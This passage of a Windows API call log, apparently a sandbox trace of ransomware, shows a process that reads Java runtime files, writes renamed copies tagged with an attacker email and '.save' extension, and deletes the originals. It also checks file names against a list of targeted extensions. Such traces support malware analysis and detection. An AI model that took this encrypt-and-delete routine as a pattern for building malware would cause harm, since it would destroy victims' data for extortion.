Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.128] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 1 [0210.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0210.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0210.129] lstrlenW (lpString=".doc") returned 4 [0210.129] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0210.129] lstrlenW (lpString=".docx") returned 5 [0210.129] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0210.129] lstrlenW (lpString=".pdf") returned 4 [0210.129] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0210.129] lstrlenW (lpString=".xls") returned 4 [0210.129] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0210.129] lstrlenW (lpString=".xlsx") returned 5 [0210.129] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0210.129] lstrlenW (lpString=".ppt") returned 4 [0210.129] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0210.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0210.130] lstrlenW (lpString=".zip") returned 4 [0210.130] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0210.130] lstrlenW (lpString=".rar") returned 4 [0210.130] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0210.130] lstrlenW (lpString=".bz2") returned 4 [0210.130] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0210.130] lstrlenW (lpString=".7z") returned 3 [0210.130] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0210.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0210.130] lstrlenW (lpString=".dbf") returned 4 [0210.130] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0210.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0210.130] lstrlenW (lpString=".1cd") returned 4 [0210.130] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0210.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0210.130] lstrlenW (lpString=".jpg") returned 4 [0210.130] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0210.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0210.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0210.130] lstrlenW (lpString=".doc") returned 4 [0210.130] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0210.130] lstrlenW (lpString=".docx") returned 5 [0210.130] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0210.130] lstrlenW (lpString=".pdf") returned 4 [0210.130] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0210.130] lstrlenW (lpString=".xls") returned 4 [0210.130] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0210.130] lstrlenW (lpString=".xlsx") returned 5 [0210.131] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0210.131] lstrlenW (lpString=".ppt") returned 4 [0210.131] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0210.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0210.131] lstrlenW (lpString=".zip") returned 4 [0210.131] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0210.131] lstrlenW (lpString=".rar") returned 4 [0210.131] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0210.131] lstrlenW (lpString=".bz2") returned 4 [0210.131] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0210.131] lstrlenW (lpString=".7z") returned 3 [0210.131] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0210.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0210.131] lstrlenW (lpString=".dbf") returned 4 [0210.131] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0210.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0210.131] lstrlenW (lpString=".1cd") returned 4 [0210.131] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0210.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0210.131] lstrlenW (lpString=".jpg") returned 4 [0210.131] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0210.131] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0210.131] lstrlenW (lpString="messages_ja.properties") returned 22 [0210.131] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0210.132] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=6349) returned 1 [0210.132] CloseHandle (hObject=0x364) returned 1 [0210.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20 [0210.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.132] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0210.132] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0210.132] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0210.132] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0210.133] GetLastError () returned 0x0 [0210.133] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x18cd, lpOverlapped=0x0) returned 1 [0210.134] WriteFile (in: hFile=0x370, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0x18d0, lpOverlapped=0x0) returned 1 [0210.136] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x0, lpOverlapped=0x0) returned 1 [0210.136] WriteFile (in: hFile=0x370, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0x100, lpOverlapped=0x0) returned 1 [0210.136] SetEndOfFile (hFile=0x370) returned 1 [0210.136] CloseHandle (hObject=0x370) returned 1 [0210.136] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0210.136] SetEndOfFile (hFile=0x364) returned 1 [0210.137] CloseHandle (hObject=0x364) returned 1 [0210.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.137] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 1 [0210.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0210.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0210.138] lstrlenW (lpString=".doc") returned 4 [0210.138] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.138] lstrlenW (lpString=".docx") returned 5 [0210.138] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.138] lstrlenW (lpString=".pdf") returned 4 [0210.138] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.138] lstrlenW (lpString=".xls") returned 4 [0210.138] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.138] lstrlenW (lpString=".xlsx") returned 5 [0210.138] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.138] lstrlenW (lpString=".ppt") returned 4 [0210.138] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0210.138] lstrlenW (lpString=".zip") returned 4 [0210.138] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.139] lstrlenW (lpString=".rar") returned 4 [0210.139] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.139] lstrlenW (lpString=".bz2") returned 4 [0210.139] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.139] lstrlenW (lpString=".7z") returned 3 [0210.139] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.139] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0210.139] lstrlenW (lpString=".dbf") returned 4 [0210.139] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.139] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0210.139] lstrlenW (lpString=".1cd") returned 4 [0210.139] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.139] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0210.139] lstrlenW (lpString=".jpg") returned 4 [0210.139] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.139] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0210.139] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0210.139] lstrlenW (lpString=".doc") returned 4 [0210.139] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.140] lstrlenW (lpString=".docx") returned 5 [0210.140] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.140] lstrlenW (lpString=".pdf") returned 4 [0210.140] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.140] lstrlenW (lpString=".xls") returned 4 [0210.140] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.140] lstrlenW (lpString=".xlsx") returned 5 [0210.140] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.140] lstrlenW (lpString=".ppt") returned 4 [0210.140] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0210.140] lstrlenW (lpString=".zip") returned 4 [0210.140] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.140] lstrlenW (lpString=".rar") returned 4 [0210.140] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.140] lstrlenW (lpString=".bz2") returned 4 [0210.140] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.140] lstrlenW (lpString=".7z") returned 3 [0210.140] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0210.140] lstrlenW (lpString=".dbf") returned 4 [0210.140] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0210.140] lstrlenW (lpString=".1cd") returned 4 [0210.140] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0210.140] lstrlenW (lpString=".jpg") returned 4 [0210.140] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.141] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0210.141] lstrlenW (lpString="messages_ko.properties") returned 22 [0210.141] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0210.141] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=5712) returned 1 [0210.141] CloseHandle (hObject=0x364) returned 1 [0210.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20 [0210.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.141] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0210.142] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0210.142] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0210.142] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0210.142] GetLastError () returned 0x0 [0210.143] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x1650, lpOverlapped=0x0) returned 1 [0210.145] WriteFile (in: hFile=0x370, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0x1660, lpOverlapped=0x0) returned 1 [0210.146] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x0, lpOverlapped=0x0) returned 1 [0210.146] WriteFile (in: hFile=0x370, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0x100, lpOverlapped=0x0) returned 1 [0210.146] SetEndOfFile (hFile=0x370) returned 1 [0210.146] CloseHandle (hObject=0x370) returned 1 [0210.147] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0210.147] SetEndOfFile (hFile=0x364) returned 1 [0210.148] CloseHandle (hObject=0x364) returned 1 [0210.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.148] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 1 [0210.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0210.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0210.149] lstrlenW (lpString=".doc") returned 4 [0210.149] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.149] lstrlenW (lpString=".docx") returned 5 [0210.149] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.149] lstrlenW (lpString=".pdf") returned 4 [0210.149] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.149] lstrlenW (lpString=".xls") returned 4 [0210.149] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.149] lstrlenW (lpString=".xlsx") returned 5 [0210.149] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.149] lstrlenW (lpString=".ppt") returned 4 [0210.149] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0210.149] lstrlenW (lpString=".zip") returned 4 [0210.149] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.149] lstrlenW (lpString=".rar") returned 4 [0210.149] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.149] lstrlenW (lpString=".bz2") returned 4 [0210.149] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.149] lstrlenW (lpString=".7z") returned 3 [0210.149] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0210.149] lstrlenW (lpString=".dbf") returned 4 [0210.149] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0210.149] lstrlenW (lpString=".1cd") returned 4 [0210.149] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0210.149] lstrlenW (lpString=".jpg") returned 4 [0210.149] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0210.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0210.150] lstrlenW (lpString=".doc") returned 4 [0210.150] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.150] lstrlenW (lpString=".docx") returned 5 [0210.150] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.150] lstrlenW (lpString=".pdf") returned 4 [0210.150] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.150] lstrlenW (lpString=".xls") returned 4 [0210.150] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.150] lstrlenW (lpString=".xlsx") returned 5 [0210.150] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.150] lstrlenW (lpString=".ppt") returned 4 [0210.150] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0210.150] lstrlenW (lpString=".zip") returned 4 [0210.150] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.150] lstrlenW (lpString=".rar") returned 4 [0210.150] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.150] lstrlenW (lpString=".bz2") returned 4 [0210.150] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.150] lstrlenW (lpString=".7z") returned 3 [0210.150] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0210.150] lstrlenW (lpString=".dbf") returned 4 [0210.150] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0210.150] lstrlenW (lpString=".1cd") returned 4 [0210.150] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0210.150] lstrlenW (lpString=".jpg") returned 4 [0210.150] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.151] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0210.151] lstrlenW (lpString="messages_pt_BR.properties") returned 25 [0210.151] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0210.151] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=3285) returned 1 [0210.151] CloseHandle (hObject=0x364) returned 1 [0210.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20 [0210.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.151] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0210.152] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0210.152] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0210.152] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0210.152] GetLastError () returned 0x0 [0210.153] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0xcd5, lpOverlapped=0x0) returned 1 [0210.510] WriteFile (in: hFile=0x370, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0xce0, lpOverlapped=0x0) returned 1 [0210.511] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x0, lpOverlapped=0x0) returned 1 [0210.511] WriteFile (in: hFile=0x370, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0x106, lpOverlapped=0x0) returned 1 [0210.511] SetEndOfFile (hFile=0x370) returned 1 [0210.511] CloseHandle (hObject=0x370) returned 1 [0210.512] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0210.512] SetEndOfFile (hFile=0x364) returned 1 [0210.512] CloseHandle (hObject=0x364) returned 1 [0210.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.513] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 1 [0210.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0210.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0210.513] lstrlenW (lpString=".doc") returned 4 [0210.513] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.513] lstrlenW (lpString=".docx") returned 5 [0210.514] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.514] lstrlenW (lpString=".pdf") returned 4 [0210.514] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.514] lstrlenW (lpString=".xls") returned 4 [0210.514] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.514] lstrlenW (lpString=".xlsx") returned 5 [0210.514] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.514] lstrlenW (lpString=".ppt") returned 